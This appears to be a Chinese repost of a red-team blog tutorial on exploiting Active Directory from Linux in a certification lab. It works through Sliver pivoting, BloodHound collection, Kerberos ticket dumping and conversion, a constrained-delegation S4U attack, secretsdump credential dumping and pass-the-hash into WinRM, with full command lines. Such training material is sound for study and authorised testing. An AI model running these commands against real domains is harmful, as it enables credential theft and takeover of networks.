在过去的 6 个月里,我更加关注红队操作方面,并积极致力于攻克各种 Active Directory 环境和实验室。在此期间,我完成了Cybernetics实验并通过了Altered Security 的CRTP和CRTE认证。
在花费了大量时间使用不同的命令和控制 (C2) 框架、排除 .NET 编译错误、忘记如何绕过 UAC、将命令包装在 PS Credential 对象中以及处理 PowerShell 约束语言模式 (CLM) 之后,我意识到纯粹从 Windows 利用 AD 会导致我的预期寿命显著减少。
所以,这确实让我思考:我们为什么要从 Windows 对 Active Directory 进行攻击?
概述
在我从事 AD 实验室工作以及帮助朋友进行实验室工作的整个过程中,我意识到了一件事:Windows 极难调试。
大多数错误很难通过 Google 找到,因为它们非常通用,并且只针对你正在处理的特定攻击,而且错误消息往往具有误导性。此外,我运行的命令可能不适用于其他人;还有很多其他事情需要考虑,例如:
-
您当前是否有与您的会话关联的票证?(Kerberos 双跳问题)
-
如果没有,您是否有凭证将您的命令包装在 PS Credential 对象中?
-
您是否受到 PowerShell 约束语言模式 (CLM) 的限制?
-
哦,好吧,实际上肯定klist purge会清除所有票,对吧?
在这篇博文中,我将阐述为什么我认为从 Linux 攻击 Active Directory 比从 Windows 攻击更好;当然还会提供一些如何操作的示例。
所以呢?
我意识到,大多数时候,当我的朋友遇到问题时,我会指导他们将他们的票移植到 Linux 并使用那里的工具--debug。这里抛出的错误通常更有用,更容易用谷歌搜索,而且不受 Windows 不稳定性的影响。
“工具”指的是Impacket套件,它总体上比较稳定,维护良好。
我相信大多数时候,您可以从 Linux 对 Active Directory 执行与在 Windows 上相同的攻击,但具有能够更轻松地调试问题的额外好处。
免责声明
我并不是说从 Linux 发起攻击是所有情况下的正确选择。最终,操作员有责任根据实际情况决定使用什么工具。
本帖中使用的例子是在Altered Security为CRTE慷慨提供的实验室环境中执行的,我已获得书面许可,可以使用本帖中的截图,条件是我不泄露实验室的任何秘密。
假定违约
在许多情况下,您可能已经在网络中站稳脚跟。通常,这是您已攻陷的单个域用户帐户和/或工作站。您可能要执行的第一件事是:
1.识别并解析主机(尤其是域控制器)
-
具体/etc/hosts用网络中主机的 IP 地址填充您的文件,我们稍后会了解原因。
2.运行 Bloodhound Collector
识别和解析主机
给定一个在工作站上具有本地管理权限的域帐户,我们可以通过 ping 域名轻松识别域控制器。
ping [domain_name]
通过这样做,我们可以轻松识别域控制器192.168.1.2;这是在另一个子网中,所以我们需要通过工作站来访问域控制器。
利用 Sliver 进行旋转
我不会在这里详细介绍,但我们将使用 Sliver 作为我们的 C2 框架,并使用其带内 socks 代理通过工作站进行枢转。
收到回调后,我们就是工作站上的非特权用户。为了获取 SYSTEM 信标,我们需要执行 UAC 绕过。
但是我们很懒,所以我们实际上可以从 Linux 执行 beacon,使用atexec.py它来远程运行使用任务调度程序的命令(在 SYSTEM 上下文中运行)。
atexec.py [domain_name]/[username]:
@[workstation_ip] [command]
现在我们在工作站上有一个系统信标。
为了通过工作站代理所有命令,我们需要设置带内 socks 代理。
sliver> socks5 start
Sliver 的带内 socks 代理在某些协议上往往不稳定,并且在操作员机器上监听默认端口1081/etc/proxychains4.conf ;请记住修改您的文件以反映这一点。
解析域控制器
现在,我们可以验证是否可以通过以下方式与域控制器进行交互proxychains
proxychains nxc smb [IP/FQDN] -u [username] -p
解析其他主机
有几种方法可以解析网络中的其他主机,聪明而有条理的方法是确定网络中的工作站和服务器列表;然后用 解析它们dig。
懒惰的方法是通过nxc smb扫描网络来解决它们,我将在这里展示这两种方法。
有条不紊的方式(ew)
proxychains nxc ldap [IP/FQDN] -u [username] -p
-M get-network -o ONLY_HOSTS=true
这将为您提供网络中所有主机的列表
然后您可以使用此命令来解决这个问题,但这需要很长时间,所以我个人不会这样做:)
cat [list_of_targets] | while read domain; do proxychains dig @"[DC_IP]" "$domain"; done
懒惰的方式(耶)
proxychains nxc smb [IP/FQDN].0/24 -u [username] -p
--log [log_file]
然后,我们可以解析输出以提取网络中主机的 IP 地址和主机名。
awk '/SMBv1:False)/{flag=1;next}/SMBv1:True)/{flag=0}flag' sweep.log | awk '{print $7, $9"."$11}' | sed 's/\.*//'
这条代码有点不靠谱,如果输出结果不符合预期,有时会出错;请做好修复的准备
如果你仔细观察,你会发现那里有一个异常:192.168.1.56 US-MSSQL.Connection。这是一个 SQL 服务器,我们可以通过使用 连接到它来验证这一点proxychains nxc mssql [IP/FQDN] -u [username] -p 。
猎犬
初学者在远程运行猎犬收集器时可能会遇到很多问题,因为有时需要进行一些故障排除。
猎犬蟒蛇案的奇异案例
这是为什么从 Linux 运行工具既是好事也是坏事的一个例子。让我们/etc/hosts先尝试运行没有填充的收集器,看看会发生什么。
proxychains bloodhound-python -u [username] -p
-d [domain] -ns [DC_IP] -c all
乍一看,您可能会认为此错误是由于/etc/hosts未填充造成的,但即使填充了/etc/hosts网络中主机的 IP 地址后,此错误仍然存在。
调试这个问题需要我们查看源代码,并开始打印出一些变量来查看发生了什么。
File "/home/kali/.local/lib/python3.11/site-packages/dns/resolver.py", line 1321, in resolve
timeout = self._compute_timeout(start, lifetime, resolution.errors)
让我们看一下源代码,看看发生了什么。
def query(
self,
qname: Union[dns.name.Name, str],
rdtype: Union[dns.rdatatype.RdataType, str] = dns.rdatatype.A,
rdclass: Union[dns.rdataclass.RdataClass, str] = dns.rdataclass.IN,
tcp: bool = False,
source: Optional[str] = None,
raise_on_no_answer: bool = True,
source_port: int = 0,
lifetime: Optional[float] = None,
) -> Answer: # pragma: no cover
"""Query nameservers to find the answer to the question.
This method calls resolve() with ``search=True``, and is
provided for backwards compatibility with prior versions of
dnspython. See the documentation for the resolve() method for
further details.
"""
warnings.warn(
"please use dns.resolver.Resolver.resolve() instead",
DeprecationWarning,
stacklevel=2,
)
print(f"n[gatari] querying: {qname} {rdtype} {rdclass}")
print(f"[gatari] using nameserver(s): {self.nameservers}")
print(f"[gatari] using port: {self.port}")
print(f"[gatari] using protocol: {'TCP' if tcp else 'UDP'}")
print(f"[gatari] timeout: {self.timeout}n")
return self.resolve(
qname,
rdtype,
rdclass,
tcp,
source,
raise_on_no_answer,
source_port,
lifetime,
True,
)
添加一些调试语句后,让我们再次运行收集器。
proxychains bloodhound-python -u [username] -p
-d [domain] -ns [DC_IP] -c all
我首先想到的是,考虑到我们是通过 socks 代理运行收集器, 3 秒的超时时间太短了;众所周知,socks 代理的速度很慢。因此,我将超时时间增加到 10 秒--dns-timeout 10。
proxychains bloodhound-python -u [username] -p
-d [domain] -ns [DC_IP] -c all --dns-timeout 10
错误似乎仍然存在,我注意到的下一件事是查询使用的是 UDP 而不是 TCP。尽管 Socks5 协议同时支持 TCP 和 UDP,但 sliver 对某些协议的实现有点不稳定。让我们将其翻转以使用 TCP --dns-tcp(并删除--dns-timeout 10,以便我们一次只测试一个变量)。
proxychains bloodhound-python -u [username] -p
-d [domain] -ns [DC_IP] -c all --dns-tcp
我们设法通过了第一个查询,但仍然出现错误。幸运的是,我在 bloodhound-python 存储库的 PR 中看到了此错误:https://github.com/dirkjanm/BloodHound.py/pull/196
TLDR:在域名前面添加.
proxychains bloodhound-python -u [username] -p
-d [domain]. -ns [DC_IP] -c all --dns-tcp
现在我们终于看到了与/etc/hosts未填充相关的问题。
/etc/hosts填充网络中主机的IP地址后,我们最终可以成功运行收集器。
proxychains bloodhound-python -u [username] -p
-d [domain]. -ns [DC_IP] -c all --dns-tcp
当我第一次使用bloodhund-python时,我看到存储库是:
-
最近更新(2 个月前)
-
近 2000 颗星
并自动假设它是稳定的并且维护良好。然而,我很快意识到该工具并不像我想象的那么稳定,需要进行一些调试才能使其正常工作。
我想强调的是,我们不应该责怪该工具的维护者,因为他们是在业余时间免费做这项工作的。我非常感谢他们所做的工作,这篇文章旨在展示使用 Linux 工具的现实情况(包括不好的部分)。
另类收藏家:RustHound
bloodhound-python如果收集器很麻烦,我喜欢使用RustHound。它更稳定,并且通常比其他收集器更快。
proxychains rusthound -u [username] -p
-d [domain]
而且它开箱即可运行,没有任何问题。
如果我没有凭证怎么办?
我想快速绕道讨论一下如果您在工作站上以未提升的用户帐户立足,并且您没有此用户的凭据,您可以采取哪些选择。在入侵 Web/SQL 服务器并处于反向 shell 中后,您可能会遇到这种情况。
您应该检查的第一件事是,您当前的登录会话是否填充了缓存的 Kerberos 票证,您可以使用 或 进行检查klist。我更喜欢Rubeus.exe triage这样,因为服务帐户往往有很多票证,看起来很碍眼。Rubeus.exe klistRubeus.exe triage
如果您使用未提升权限的用户帐户,您的输出应该是这样的,因为您将无法看到其他登录会话。
现在,我们可以转储自己的票证Rubeus.exe dump并远程使用它们。
您的输出看起来应该是这样的(当然没有白色方框)
或者,您可以使用Rubeus.exe tgtdeleg它为当前用户获取可用的票证,而无需提升。
Windows <-> Linux(互操作性)
票证可轻松在 Windows ( .kirbi) 和 Linux ( .ccache) 之间移植,从而实现操作系统之间的灵活性。参考我们之前通过 获得的票证tgtdeleg,我们可以将它们转换为 Linux 中可用的格式。
总体步骤如下:
-
如果票证是 base64 编码的(来自 Rubeus),则使用以下方法解码echo [base64] | base64 -d > ticket.kirbi
-
将票证转换为 Linux 中可用的格式ticketConverter.py ticket.kirbi ticket.ccache
-
导出KRB5CCNAME环境变量以指向票证export KRB5CCNAME=/path/to/ticket.ccache
-
运行你的(impacket)工具来-k -no-pass表明你想要使用缓存进行身份验证。
netexec接下来,我们可以通过导出票证并运行它来使用它--use-kcache(请注意,此标志在不同工具之间会发生变化)
export KRB5CCNAME=... && nxc smb ... --use-kcache
绿色加号表示我们已经成功通过票证验证。
发起攻击
现在我们知道如何将票证从 Windows 移植到 Linux,我们就可以开始在网络上远程执行攻击了。
本书几乎不会解释所实施攻击的具体细节,读者需要自己去理解攻击过程。此外,我建议参加Altered Security 的CRTPhttps://www.alteredsecurity.com/adlab和CRTE课程https://www.alteredsecurity.com/redteamlab。
在这篇文章中,我们将仅介绍一种攻击:滥用受控主体的约束委派。
受约束的授权
在检查了 BloodHound 收集的数据后,我们看到了这个节点
这表明[email protected]已将msds-AllowedToDelegateTo属性设置为US-MSSQL.us.techcorp.local,这意味着appsvc允许 代表域用户对 上的服务采取行动US-MSSQL。
我们可以在 BloodHound 节点属性上看到可以委托的 SPN
或者,我们可以findDelegation.py在 Linux 上使用以下命令来枚举它:
proxychains findDelegation.py [domain]/[username]:
我们可以看到,appsvc被允许委托给CIFS/US-MSSQL.us.techcorp.local,这是一个极其宽容的委托。
请参阅:https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#available-services
为了演示,我们假设我们已经破解了该appsvc帐户并获得了他们的 NTLM 哈希。
Windows -> Linux
我们将首先从 Windows 执行攻击,因为它对大多数读者来说可能更熟悉。
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /ptt
-
请记住检查您是否/impersonateuser在目标计算机上具有本地管理员权限,并且不受委派保护。请参阅:受保护的帐户https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts和受保护的用户(组)https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group
这次攻击完美地完成了,现在让我们看看如何传递这张票证以便在 Linux 上使用(即secretsdump.py远程转储哈希值)。
首先,我们需要将票证设置为易于复制粘贴到 Linux 的格式;我们可以使用该/nowrap标志来做到这一点,当然也可以删除该/ptt标志。
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /nowrap
与之前类似,我们可以使用相同的技巧将票证转换为 Linux 中可用的格式。
echo "[b64_ticket]" | base64 -d > ticket.kirbi && ticketConverter.py ticket.kirbi ticket.ccache && export KRB5CCNAME=ticket.ccache
当然,我们可以通过以下方式验证该票是否可用nxc
nxc smb [IP/FQDN] --use-kcache
我们还可以使用describeTicket.py来可视化票证的内容,您将看到我们有一个可用于CIFS上的服务的票证US-MSSQL。但是,这意味着我们将无法使用 WinRM。
describeTicket.py ticket.ccache
我们可以使用该标志来请求可用于 WinRM 的服务altservice票证。HTTP
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /altservice:HTTP /nowrap
现在,该票证可用于HTTP上的服务US-MSSQL,其中包括 WinRM。
或者,您也可以使用您的cifs票证在目标机器上转储哈希值secretsdump.py;并使用本地管理员的哈希值通过 WinRM 登录。
proxychains secretsdump.py -k -no-pass [TARGET_FQDN]
evil-winrm现在,我们可以使用或将此哈希 PTH 到 WinRM 中nxc winrm。
proxychains nxc winrm [IP/FQDN] -u [username] -H [hash] --local-auth
proxychains evil-winrm -i [IP/FQDN] -u [username] -H [hash]
Linux -> Windows
类似地,我们可以在 Linux 端执行相同的攻击;然后我们将票证转移到 Windows 以验证它是否有效。
getST.py -spn [delegated_spn] -impersonate [user_with_local_admin] [controlled_principal] -hashes :[rc4]
我们可以验证我们的票是否适用于nxc
nxc smb [IP/FQDN] --use-kcache
有两种方法可以将此票证转移到 Windows:
1、将 转换为.ccache,.kirbi并在 中引用它Rubeus.exe ptt /ticket:[ticket.kirbi]
-
需要你将票据放入磁盘,如果你没有 C2,可能会很困难
2、将 转换.ccache为.kirbi,然后对其进行 Base64 编码并在 中引用它Rubeus.exe ptt /ticket:[base64_ticket]
-
如果你使用的是 C2,票证的长度可能会导致参数长度问题,具体取决于你的 C2 协议
我将在这里演示第二种方法,因为它有点混乱,读者可能不熟悉。
ticketConverter.py ticket.ccache ticket.kirbi
cat ticket.kirbi | base64 -w 0
在 Windows 上使用以下方式导入票证Rubeus.exe ptt /ticket:[base64_ticket]
我们可以看到我们的票已成功导入Rubeus.exe klist
我们可以通过列出目标上的共享来验证我们的票证是否有效,尽管事后看来,ADMIN$检查共享会更好:P
ls //[IP/FQDN]/c$
为什么不应该从 Linux 发起攻击
正如Bloodhound-Python 的奇异案例:https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#the-curious-case-of-bloodhound-python中简要讨论的那样,Linux 上的工具并不像您期望的那样稳定。这是因为大多数工具都是社区驱动的,并且维护得不如 Windows 工具那么好。
此外,这篇博文重点介绍了带内 socks 代理的使用以及proxychains通过工作站代理命令。这在现实世界中可能不可行,因为带内 socks 代理本质上会强制信标永久处于此interactive模式,或者sleep 0任何sleep持续时间都可能导致某些协议中断。
备忘单和常见问题解答
问:为什么要审查在本文发布时将过期的 Kerberos 票证?
答:在某些情况下,票证可能会被破解,我不想惹上麻烦。:P
代理链
此包装器只是通过 中定义的 Socks5 代理代理其余命令。当您默认/etc/proxychains4.conf启动 Sliver 的代理时:它会在操作员的机器上打开端口 1081。socks5
远程连接将类似于以下内容 ->getST.py -> 127.0.0.1:1081 -> WKSTN-1 (BEACON) -> WKSTN-2
interactive这实际上允许您通过信标访问内部主机,但是如上所述;要求信标在模式或下运行sleep 0。
Base64 -> .kirby -> .ccache
stdout当你使用 Rubeus 伪造/请求票证时,你通常会以的形式取回你的票证base64 ( kirbi )。或者,你可以指定/outfile并将省略 base64 包装。
如果您想将其传输到 Linux,您必须对其进行 base64 编码并将其复制粘贴到 Linux;或者.kirbi通过网络下载该文件。
Windows -> Linux
echo "doI...[snip]..." | base64 -d > ticket.kirbi && ticketConverter.py ticket.kirbi ticket.ccache && export KRB5CCNAME=ticket.ccache
nxc smb [...] --use-kcache
impacket*.py -k -no-pass
unset KRB5CCNAME
Linux -> Windows
有些工具会将生成的票据保存为可用.ccache文件,而其他工具则会这样做.kirbi;请凭直觉。我建议在尝试在 Windows 中使用它之前使用describeTicket.py来验证您的,因为您可能会遇到严重的错误。.ccache
base64使用标志运行-w 0以在编码.kirbi文件时消除换行符。
impacket*.py [...]
ticketConverter.py ticket.ccache ticket.kirbi
cat ticket.kirbi | base64 -w 0
execute-assembly -i Rubeus.exe ptt /ticket:doI...[snip]...
execute-assembly -i Rubeus.exe ptt /ticket:ticket.kirbi
execute-assembly -i Rubeus.exe klist
execute-assembly-i由于 Beacon 的execute-assemblyfork 和 run中的字符限制,因此带标志运行。
-i任务信标以内联方式运行程序集,使用此标志时要小心,因为如果程序集出现错误可能会导致信标崩溃。
Rubeus.exe ptt如果由于其他限制,您无法将 base64 票证传递给;您可以简单地将其放到.kirbi磁盘并使用 引用它Rubeus.exe ptt /ticket:[ticket.kirbi]。
结束语
我倾向于从 Linux 执行所有攻击,以及利用票证从 Linux 执行横向移动。这些意见完全基于实验室/检查的角度,速度通常比隐身更重要。
这些观点并不反映我对现实世界中速度不是影响因素的立场。
在快速轻松地解决实验室和考试问题的背景下,我更喜欢从 Linux 进行攻击的原因如下:
1.Kerberos 双跳问题
-
这不再存在
2.PowerShell 约束语言模式 (CLM)
-
在很大程度上,这种情况已不复存在。
3.防病毒检测
-
您不必execute-assembly再祈祷自己惹怒 AV 之神了。
4.调试
-
您现在实际上可以修改工具的源代码,而无需重新编译它们!
5.稳定
-
实验室工作站极不稳定,您不想猜测问题出在实验室、工具还是 Windows。
6.速度
-
所有以上几点都有助于实现这一点;您可以从 Linux 更快地发起攻击。
话虽如此,从 Linux 发起攻击在理论上并不比从 Windows 发起攻击更快;事实上恰恰相反。但是,根据我的经验,攻击 Active Directory 环境所花费的大部分时间实际上只是调试问题,而不是实际攻击本身。
值得一提的是,我分别在 1 小时和 3 小时内完成了 CRTP 和 CRTE 考试;这归功于我能够从 Linux 更快地调试问题。
https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#performing-attacks
原文始发于微信公众号(Ots安全):Linux 中 Active Directory 的利用技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论